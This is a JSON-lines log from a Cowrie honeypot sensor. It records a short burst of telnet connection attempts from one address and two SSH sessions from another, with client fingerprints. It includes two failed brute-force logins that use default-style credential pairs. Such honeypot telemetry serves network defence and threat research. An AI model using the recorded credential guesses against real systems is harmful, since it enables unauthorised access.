{"eventid":"cowrie.session.connect","src_ip":"206.54.191.52","src_port":35250,"dst_ip":"159.203.135.109","dst_port":23,"session":"7e469f442074","protocol":"telnet","message":"New connection: 206.54.191.52:35250 (159.203.135.109:23) [session: 7e469f442074]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:19:51.037494Z"}
{"eventid":"cowrie.session.connect","src_ip":"206.54.191.52","src_port":35780,"dst_ip":"159.203.135.109","dst_port":23,"session":"af02166fa6ce","protocol":"telnet","message":"New connection: 206.54.191.52:35780 (159.203.135.109:23) [session: af02166fa6ce]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:19:51.544597Z"}
{"eventid":"cowrie.session.connect","src_ip":"206.54.191.52","src_port":32926,"dst_ip":"159.203.135.109","dst_port":23,"session":"bad9d542e737","protocol":"telnet","message":"New connection: 206.54.191.52:32926 (159.203.135.109:23) [session: bad9d542e737]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:19:52.963684Z"}
{"eventid":"cowrie.session.closed","duration":30.424493551254272,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:19:54.299409Z","src_ip":"206.54.191.52","session":"5439f4a9f209","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":32.79837417602539,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:19:55.442955Z","src_ip":"206.54.191.52","session":"b757a0254c73","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.60401749610901,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:19:56.515810Z","src_ip":"206.54.191.52","session":"5d9d380784c5","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"206.54.191.52","src_port":41488,"dst_ip":"159.203.135.109","dst_port":23,"session":"a8c405677de4","protocol":"telnet","message":"New connection: 206.54.191.52:41488 (159.203.135.109:23) [session: a8c405677de4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:19:57.101408Z"}
{"eventid":"cowrie.session.closed","duration":30.45509433746338,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:19:58.302465Z","src_ip":"206.54.191.52","session":"c06629ac2ad2","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"14.225.205.58","src_port":40412,"dst_ip":"10.17.0.5","dst_port":22,"session":"f09f6a3003d8","protocol":"ssh","message":"New connection: 14.225.205.58:40412 (10.17.0.5:22) [session: f09f6a3003d8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:19:59.490566Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:19:59.496302Z","src_ip":"14.225.205.58","session":"f09f6a3003d8","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:19:59.771074Z","src_ip":"14.225.205.58","session":"f09f6a3003d8","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":30.59408974647522,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:20:00.415404Z","src_ip":"206.54.191.52","session":"c55b7ebb0885","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"dev","password":"dev","message":"login attempt [dev/dev] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:20:00.902734Z","src_ip":"14.225.205.58","session":"f09f6a3003d8","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":44.691322803497314,"message":"Connection lost after 44 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:20:00.982940Z","src_ip":"206.54.191.52","session":"d3d7b99658d9","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.88486886024475,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:20:01.707947Z","src_ip":"206.54.191.52","session":"cbc42b930bf9","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.312328100204468,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:20:02.031761Z","src_ip":"206.54.191.52","session":"d2b90e61514d","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.657737731933594,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:20:02.065908Z","src_ip":"206.54.191.52","session":"5a30a91a2f83","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"2.7","message":"Connection lost after 2.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:20:02.195345Z","src_ip":"14.225.205.58","session":"f09f6a3003d8","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"206.54.191.52","src_port":47286,"dst_ip":"159.203.135.109","dst_port":23,"session":"af3d8383622b","protocol":"telnet","message":"New connection: 206.54.191.52:47286 (159.203.135.109:23) [session: af3d8383622b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:20:03.311078Z"}
{"eventid":"cowrie.session.connect","src_ip":"206.54.191.52","src_port":48920,"dst_ip":"159.203.135.109","dst_port":23,"session":"3828bf8b5a87","protocol":"telnet","message":"New connection: 206.54.191.52:48920 (159.203.135.109:23) [session: 3828bf8b5a87]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:20:04.911470Z"}
{"eventid":"cowrie.session.connect","src_ip":"206.54.191.52","src_port":43818,"dst_ip":"159.203.135.109","dst_port":23,"session":"1936697655ee","protocol":"telnet","message":"New connection: 206.54.191.52:43818 (159.203.135.109:23) [session: 1936697655ee]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:20:06.246159Z"}
{"eventid":"cowrie.session.connect","src_ip":"206.54.191.52","src_port":52260,"dst_ip":"159.203.135.109","dst_port":23,"session":"b248347b7f95","protocol":"telnet","message":"New connection: 206.54.191.52:52260 (159.203.135.109:23) [session: b248347b7f95]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:20:06.999931Z"}
{"eventid":"cowrie.session.connect","src_ip":"206.54.191.52","src_port":52350,"dst_ip":"159.203.135.109","dst_port":23,"session":"d0871ff8641d","protocol":"telnet","message":"New connection: 206.54.191.52:52350 (159.203.135.109:23) [session: d0871ff8641d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:20:07.069986Z"}
{"eventid":"cowrie.session.connect","src_ip":"80.65.211.42","src_port":33336,"dst_ip":"159.203.135.109","dst_port":23,"session":"a7c63b520da9","protocol":"telnet","message":"New connection: 80.65.211.42:33336 (159.203.135.109:23) [session: a7c63b520da9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:20:08.212825Z"}
{"eventid":"cowrie.session.closed","duration":30.654842853546143,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:20:08.288780Z","src_ip":"206.54.191.52","session":"2b1699016afb","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"206.54.191.52","src_port":50148,"dst_ip":"159.203.135.109","dst_port":23,"session":"e205deb84c39","protocol":"telnet","message":"New connection: 206.54.191.52:50148 (159.203.135.109:23) [session: e205deb84c39]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:20:09.355664Z"}
{"eventid":"cowrie.session.closed","duration":31.14663600921631,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:20:09.365557Z","src_ip":"206.54.191.52","session":"e9d670354e4c","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":0.016682863235473633,"message":"Connection lost after 0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:20:09.371946Z","src_ip":"206.54.191.52","session":"e205deb84c39","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.475079774856567,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:20:11.367225Z","src_ip":"206.54.191.52","session":"23cfff6da3b6","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"206.54.191.52","src_port":57910,"dst_ip":"159.203.135.109","dst_port":23,"session":"bb48f5fca03a","protocol":"telnet","message":"New connection: 206.54.191.52:57910 (159.203.135.109:23) [session: bb48f5fca03a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:20:12.875603Z"}
{"eventid":"cowrie.session.connect","src_ip":"206.54.191.52","src_port":59474,"dst_ip":"159.203.135.109","dst_port":23,"session":"4e25d51c9568","protocol":"telnet","message":"New connection: 206.54.191.52:59474 (159.203.135.109:23) [session: 4e25d51c9568]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:20:13.220844Z"}
{"eventid":"cowrie.session.closed","duration":30.280142307281494,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:20:14.218217Z","src_ip":"206.54.191.52","session":"071d37ff9daa","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"206.54.191.52","src_port":60708,"dst_ip":"159.203.135.109","dst_port":23,"session":"f8b4dedc5240","protocol":"telnet","message":"New connection: 206.54.191.52:60708 (159.203.135.109:23) [session: f8b4dedc5240]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:20:14.264800Z"}
{"eventid":"cowrie.session.connect","src_ip":"206.54.191.52","src_port":36266,"dst_ip":"159.203.135.109","dst_port":23,"session":"7c48dde8164a","protocol":"telnet","message":"New connection: 206.54.191.52:36266 (159.203.135.109:23) [session: 7c48dde8164a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:20:17.564086Z"}
{"eventid":"cowrie.session.closed","duration":30.426713705062866,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:20:20.186868Z","src_ip":"206.54.191.52","session":"ecf710b2d73a","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.01180601119995,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:20:22.049228Z","src_ip":"206.54.191.52","session":"7e469f442074","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.62262725830078,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:20:22.167102Z","src_ip":"206.54.191.52","session":"af02166fa6ce","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.075428247451782,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:20:23.038996Z","src_ip":"206.54.191.52","session":"bad9d542e737","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":34.46266460418701,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:20:23.433573Z","src_ip":"206.54.191.52","session":"c6ceba0ff51c","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"206.54.191.52","src_port":43780,"dst_ip":"159.203.135.109","dst_port":23,"session":"46654d9e5ec4","protocol":"telnet","message":"New connection: 206.54.191.52:43780 (159.203.135.109:23) [session: 46654d9e5ec4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:20:24.194831Z"}
{"eventid":"cowrie.session.closed","duration":31.506229162216187,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:20:28.607528Z","src_ip":"206.54.191.52","session":"a8c405677de4","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"206.54.191.52","src_port":54492,"dst_ip":"159.203.135.109","dst_port":23,"session":"7733d361794c","protocol":"telnet","message":"New connection: 206.54.191.52:54492 (159.203.135.109:23) [session: 7733d361794c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:20:34.046252Z"}
{"eventid":"cowrie.session.connect","src_ip":"206.54.191.52","src_port":53512,"dst_ip":"159.203.135.109","dst_port":23,"session":"30b30480e126","protocol":"telnet","message":"New connection: 206.54.191.52:53512 (159.203.135.109:23) [session: 30b30480e126]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:20:34.178868Z"}
{"eventid":"cowrie.session.closed","duration":31.092732429504395,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:20:34.403666Z","src_ip":"206.54.191.52","session":"af3d8383622b","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"206.54.191.52","src_port":50382,"dst_ip":"159.203.135.109","dst_port":23,"session":"e4162c380615","protocol":"telnet","message":"New connection: 206.54.191.52:50382 (159.203.135.109:23) [session: e4162c380615]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:20:34.437725Z"}
{"eventid":"cowrie.session.connect","src_ip":"206.54.191.52","src_port":50704,"dst_ip":"159.203.135.109","dst_port":23,"session":"2570319c0e69","protocol":"telnet","message":"New connection: 206.54.191.52:50704 (159.203.135.109:23) [session: 2570319c0e69]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:20:34.661498Z"}
{"eventid":"cowrie.session.closed","duration":30.698810815811157,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:20:35.610132Z","src_ip":"206.54.191.52","session":"3828bf8b5a87","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.325413942337036,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:20:37.571473Z","src_ip":"206.54.191.52","session":"1936697655ee","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.120768547058105,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:20:38.120598Z","src_ip":"206.54.191.52","session":"b248347b7f95","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.348214149475098,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:20:38.418097Z","src_ip":"206.54.191.52","session":"d0871ff8641d","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"206.54.191.52","src_port":59860,"dst_ip":"159.203.135.109","dst_port":23,"session":"2a71bcd7cf7f","protocol":"telnet","message":"New connection: 206.54.191.52:59860 (159.203.135.109:23) [session: 2a71bcd7cf7f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:20:38.918003Z"}
{"eventid":"cowrie.session.closed","duration":31.275957584381104,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:20:39.488632Z","src_ip":"80.65.211.42","session":"a7c63b520da9","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"206.54.191.52","src_port":34522,"dst_ip":"159.203.135.109","dst_port":23,"session":"07d6e818288c","protocol":"telnet","message":"New connection: 206.54.191.52:34522 (159.203.135.109:23) [session: 07d6e818288c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:20:42.694253Z"}
{"eventid":"cowrie.session.connect","src_ip":"206.54.191.52","src_port":36762,"dst_ip":"159.203.135.109","dst_port":23,"session":"cab673b019d9","protocol":"telnet","message":"New connection: 206.54.191.52:36762 (159.203.135.109:23) [session: cab673b019d9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:20:43.565657Z"}
{"eventid":"cowrie.session.closed","duration":30.885403156280518,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:20:43.760893Z","src_ip":"206.54.191.52","session":"bb48f5fca03a","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.063218355178833,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:20:44.283944Z","src_ip":"206.54.191.52","session":"4e25d51c9568","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.923965454101562,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:20:45.188677Z","src_ip":"206.54.191.52","session":"f8b4dedc5240","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"206.54.191.52","src_port":40902,"dst_ip":"159.203.135.109","dst_port":23,"session":"d1f93345eac7","protocol":"telnet","message":"New connection: 206.54.191.52:40902 (159.203.135.109:23) [session: d1f93345eac7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:20:47.529702Z"}
{"eventid":"cowrie.session.closed","duration":30.632476568222046,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:20:48.196427Z","src_ip":"206.54.191.52","session":"7c48dde8164a","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"206.54.191.52","src_port":44896,"dst_ip":"159.203.135.109","dst_port":23,"session":"b67e28f1958c","protocol":"telnet","message":"New connection: 206.54.191.52:44896 (159.203.135.109:23) [session: b67e28f1958c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:20:51.080627Z"}
{"eventid":"cowrie.session.connect","src_ip":"206.54.191.52","src_port":45746,"dst_ip":"159.203.135.109","dst_port":23,"session":"a110ad5d44a1","protocol":"telnet","message":"New connection: 206.54.191.52:45746 (159.203.135.109:23) [session: a110ad5d44a1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:20:51.803026Z"}
{"eventid":"cowrie.session.connect","src_ip":"206.54.191.52","src_port":46446,"dst_ip":"159.203.135.109","dst_port":23,"session":"ee3888bb87c2","protocol":"telnet","message":"New connection: 206.54.191.52:46446 (159.203.135.109:23) [session: ee3888bb87c2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:20:52.362037Z"}
{"eventid":"cowrie.session.connect","src_ip":"206.54.191.52","src_port":48488,"dst_ip":"159.203.135.109","dst_port":23,"session":"9e00d74e15bf","protocol":"telnet","message":"New connection: 206.54.191.52:48488 (159.203.135.109:23) [session: 9e00d74e15bf]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:20:55.296833Z"}
{"eventid":"cowrie.session.closed","duration":31.183095455169678,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:20:55.377796Z","src_ip":"206.54.191.52","session":"46654d9e5ec4","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"206.54.191.52","src_port":50746,"dst_ip":"159.203.135.109","dst_port":23,"session":"4c080da2cc0c","protocol":"telnet","message":"New connection: 206.54.191.52:50746 (159.203.135.109:23) [session: 4c080da2cc0c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:20:56.300056Z"}
{"eventid":"cowrie.session.connect","src_ip":"14.225.205.58","src_port":49038,"dst_ip":"10.17.0.5","dst_port":22,"session":"1ff4da8b0f68","protocol":"ssh","message":"New connection: 14.225.205.58:49038 (10.17.0.5:22) [session: 1ff4da8b0f68]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:20:59.089917Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:20:59.094560Z","src_ip":"14.225.205.58","session":"1ff4da8b0f68","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:20:59.349064Z","src_ip":"14.225.205.58","session":"1ff4da8b0f68","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"ubuntu@654321","message":"login attempt [ubuntu/ubuntu@654321] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:21:00.391307Z","src_ip":"14.225.205.58","session":"1ff4da8b0f68","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"206.54.191.52","src_port":55876,"dst_ip":"159.203.135.109","dst_port":23,"session":"3d4da159f212","protocol":"telnet","message":"New connection: 206.54.191.52:55876 (159.203.135.109:23) [session: 3d4da159f212]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:21:01.122493Z"}
{"eventid":"cowrie.session.closed","duration":"2.6","message":"Connection lost after 2.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:21:01.646310Z","src_ip":"14.225.205.58","session":"1ff4da8b0f68","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":30.668982982635498,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:21:05.106621Z","src_ip":"206.54.191.52","session":"e4162c380615","protocol":"telnet"}
